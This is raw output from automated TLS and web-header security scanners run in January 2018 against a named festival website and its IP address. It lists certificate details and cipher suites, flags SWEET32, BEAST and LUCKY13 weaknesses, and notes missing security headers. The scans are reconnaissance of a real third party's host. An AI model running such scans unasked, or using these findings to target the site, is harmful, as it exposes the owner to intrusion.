                              "EC point formats/#11" "session ticket/#35"
                              "heartbeat/#15" "next protocol/#13172"
                              "application layer protocol negotiation/#16"
 Session Ticket RFC 5077 hint 600 seconds, session tickets keys seems to be rotated < daily
 SSL Session ID support       yes
 Session Resumption           Tickets: yes, ID: yes
 TLS clock skew               Random values, no fingerprinting possible
 Signature Algorithm          SHA256 with RSA
 Server key size              RSA 4096 bits
 Fingerprint / Serial         SHA1 139A811CD4E10A2CDF809F40994DDEBBE4DA53F9 / 03D9F8474A6A62FF13E8B4C16DE207DBA0F0
                              SHA256 0B34CDA89CEF7556FF393FDCF77430E944D510C9942277B1462104D125877F1A
 Common Name (CN)             novalisfestival.com (CN in response to request w/o SNI: *.webfaction.com)
 subjectAltName (SAN)         novalisfestival.com www.novalisfestival.com 
 Issuer                       Let's Encrypt Authority X3 (Let's Encrypt from US)
 Trust (hostname)             Ok via SAN and CN (SNI mandatory)
 Chain of trust               Ok   
 EV cert (experimental)       no
 Certificate Expiration       expires < 15 days (0) ! (2017-10-08 04:51 --> 2018-01-06 03:51 -0500)
 # of certificates provided   2
 Certificate Revocation List  --
 OCSP URI                     http://ocsp.int-x3.letsencrypt.org
 OCSP stapling                not offered
 OCSP must staple             no
 DNS CAA RR (experimental)    not offered
 Certificate Transparency     no


 Testing HTTP header response @ "/" 

 HTTP Status Code             301 Moved Permanently, redirecting to "http://www.novalisfestival.com/" -- Redirect to insecure URL (NOT ok)
 HTTP clock skew              0 sec from localtime
 Strict Transport Security    --
 Public Key Pinning           --
 Server banner                nginx
 Application banner           --
 Cookie(s)                    (none issued at "/") -- maybe better try target URL of 30x
 Security headers             --
 Reverse Proxy banner         --


 Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                not vulnerable (OK), timed out
 CCS (CVE-2014-0224)                       not vulnerable (OK)
 Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)
 ROBOT                                     not vulnerable (OK)
 Secure Renegotiation (CVE-2009-3555)      not vulnerable (OK)
 Secure Client-Initiated Renegotiation     not vulnerable (OK)
 CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)
 BREACH (CVE-2013-3587)                    no HTTP compression (OK)  - only supplied "/" tested
 POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)
 TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)
 SWEET32 (CVE-2016-2183, CVE-2016-6329)    VULNERABLE, uses 64 bit block ciphers
 FREAK (CVE-2015-0204)                     not vulnerable (OK)
 DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)
                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services
                                           https://censys.io/ipv4?q=0B34CDA89CEF7556FF393FDCF77430E944D510C9942277B1462104D125877F1A could help you to find out
 LOGJAM (CVE-2015-4000), experimental      not vulnerable (OK): no DH EXPORT ciphers, no common primes detected
 BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES128-SHA
                                                 ECDHE-RSA-AES256-SHA
                                                 DHE-RSA-AES128-SHA
                                                 DHE-RSA-AES256-SHA AES128-SHA
                                                 AES256-SHA
                                                 DHE-RSA-CAMELLIA256-SHA
                                                 CAMELLIA256-SHA
                                                 DHE-RSA-CAMELLIA128-SHA
                                                 CAMELLIA128-SHA DES-CBC3-SHA 
                                           VULNERABLE -- but also supports higher protocols (possible mitigation): TLSv1.1 TLSv1.2
 LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
 RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)


 Testing 364 ciphers via OpenSSL plus sockets against the server, ordered by encryption strength 

Hexcode  Cipher Suite Name (OpenSSL)       KeyExch.   Encryption  Bits     Cipher Suite Name (RFC)
-----------------------------------------------------------------------------------------------------------------------------
 xc030   ECDHE-RSA-AES256-GCM-SHA384       ECDH 256   AESGCM      256      TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
 xc028   ECDHE-RSA-AES256-SHA384           ECDH 256   AES         256      TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
 xc014   ECDHE-RSA-AES256-SHA              ECDH 256   AES         256      TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
 x9f     DHE-RSA-AES256-GCM-SHA384         DH 2048    AESGCM      256      TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
 x6b     DHE-RSA-AES256-SHA256             DH 2048    AES         256      TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
 x39     DHE-RSA-AES256-SHA                DH 2048    AES         256      TLS_DHE_RSA_WITH_AES_256_CBC_SHA
 x88     DHE-RSA-CAMELLIA256-SHA           DH 2048    Camellia    256      TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
 x9d     AES256-GCM-SHA384                 RSA        AESGCM      256      TLS_RSA_WITH_AES_256_GCM_SHA384
 x3d     AES256-SHA256                     RSA        AES         256      TLS_RSA_WITH_AES_256_CBC_SHA256
 x35     AES256-SHA                        RSA        AES         256      TLS_RSA_WITH_AES_256_CBC_SHA
 x84     CAMELLIA256-SHA                   RSA        Camellia    256      TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
 xc02f   ECDHE-RSA-AES128-GCM-SHA256       ECDH 256   AESGCM      128      TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
 xc027   ECDHE-RSA-AES128-SHA256           ECDH 256   AES         128      TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
 xc013   ECDHE-RSA-AES128-SHA              ECDH 256   AES         128      TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
 x9e     DHE-RSA-AES128-GCM-SHA256         DH 2048    AESGCM      128      TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
 x67     DHE-RSA-AES128-SHA256             DH 2048    AES         128      TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
 x33     DHE-RSA-AES128-SHA                DH 2048    AES         128      TLS_DHE_RSA_WITH_AES_128_CBC_SHA
 x45     DHE-RSA-CAMELLIA128-SHA           DH 2048    Camellia    128      TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
 x9c     AES128-GCM-SHA256                 RSA        AESGCM      128      TLS_RSA_WITH_AES_128_GCM_SHA256
 x3c     AES128-SHA256                     RSA        AES         128      TLS_RSA_WITH_AES_128_CBC_SHA256
 x2f     AES128-SHA                        RSA        AES         128      TLS_RSA_WITH_AES_128_CBC_SHA
 x41     CAMELLIA128-SHA                   RSA        Camellia    128      TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
 x0a     DES-CBC3-SHA                      RSA        3DES        168      TLS_RSA_WITH_3DES_EDE_CBC_SHA


 Running client simulations via sockets 

 Android 2.3.7                TLSv1.0 DHE-RSA-AES128-SHA, 2048 bit DH
 Android 4.1.1                TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 Android 4.3                  TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 Android 4.4.2                TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Android 5.0.0                TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Android 6.0                  TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Android 7.0                  TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Chrome 51 Win 7              TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Chrome 57 Win 7              TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Firefox 49 Win 7             TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Firefox 53 Win 7             TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 IE 6 XP                      No connection
 IE 7 Vista                   TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 IE 8 XP                      TLSv1.0 DES-CBC3-SHA
 IE 8 Win 7                   TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 IE 11 Win 7                  TLSv1.2 DHE-RSA-AES128-GCM-SHA256, 2048 bit DH
 IE 11 Win 8.1                TLSv1.2 DHE-RSA-AES128-GCM-SHA256, 2048 bit DH
 IE 11 Win Phone 8.1 Update   TLSv1.2 DHE-RSA-AES128-GCM-SHA256, 2048 bit DH
 IE 11 Win 10                 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Edge 13 Win 10               TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Edge 13 Win Phone 10         TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Opera 17 Win 7               TLSv1.2 ECDHE-RSA-AES128-SHA256, 256 bit ECDH (P-256)
 Safari 5.1.9 OS X 10.6.8     TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 Safari 7 iOS 7.1             TLSv1.2 ECDHE-RSA-AES128-SHA256, 256 bit ECDH (P-256)
 Safari 9 OS X 10.11          TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Safari 10 OS X 10.12         TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Apple ATS 9 iOS 9            TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Tor 17.0.9 Win 7             TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 Java 6u45                    No connection
 Java 7u25                    TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 Java 8u31                    TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 OpenSSL 1.0.1l               TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 OpenSSL 1.0.2e               TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)

 Done 2018-01-05 14:29:38 [ 249s] -->> 185.119.174.103:443 (novalisfestival.com) <<--



 ███▄ ▄███▓ ▄▄▄        ██████   ██████  ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄ 
▓██▒▀█▀ ██▒▒████▄    ▒██    ▒ ▒██    ▒ ▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▓██    ▓██░▒██  ▀█▄  ░ ▓██▄   ░ ▓██▄   ▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
▒██    ▒██ ░██▄▄▄▄██   ▒   ██▒  ▒   ██▒▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
▒██▒   ░██▒ ▓█   ▓██▒▒██████▒▒▒██████▒▒░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ 
░ ▒░   ░  ░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒ 
░  ░      ░  ▒   ▒▒ ░░ ░▒  ░ ░░ ░▒  ░ ░▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒ 
░      ░     ░   ▒   ░  ░  ░  ░  ░  ░   ░    ░   ░ ░      ░      ░    ░ ░  ░ 
       ░         ░  ░      ░        ░   ░          ░  ░   ░  ░   ░  ░   ░    
                                             ░                        ░      
+ -- --=[MÄŚŚBĻËËĐ V20160303 BÅž 1Ņ3 @ ĊŖÖŎĐŚȞÏËĻĐ - https://crowdshield.com
+ -- --=[Scan Complete!
 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on novalisfestival.com... 

+ -- --=[Checking if X-Frame options are enabled on novalisfestival.com... 

+ -- --=[Checking if X-XSS-Protection header is enabled on novalisfestival.com... 

+ -- --=[Checking HTTP methods on novalisfestival.com... 

+ -- --=[Checking if TRACE method is enabled on novalisfestival.com... 

+ -- --=[Checking for META tags on novalisfestival.com... 

+ -- --=[Checking for open proxy on novalisfestival.com... 

+ -- --=[Enumerating software on novalisfestival.com... 
Server: nginx

+ -- --=[Checking if Strict-Transport-Security is enabled on novalisfestival.com... 

+ -- --=[Checking for Flash cross-domain policy on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/crossdomain.xml">here</a>.</p>
</body></html>

+ -- --=[Checking for Silverlight cross-domain policy on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/clientaccesspolicy.xml">here</a>.</p>
</body></html>

+ -- --=[Checking for HTML5 cross-origin resource sharing on novalisfestival.com... 

+ -- --=[Retrieving robots.txt on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/robots.txt">here</a>.</p>
</body></html>

+ -- --=[Retrieving sitemap.xml on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/sitemap.xml">here</a>.</p>
</body></html>

+ -- --=[Checking cookie attributes on novalisfestival.com... 

+ -- --=[Checking for ASP.NET Detailed Errors on novalisfestival.com... 
#######################################################################################################################################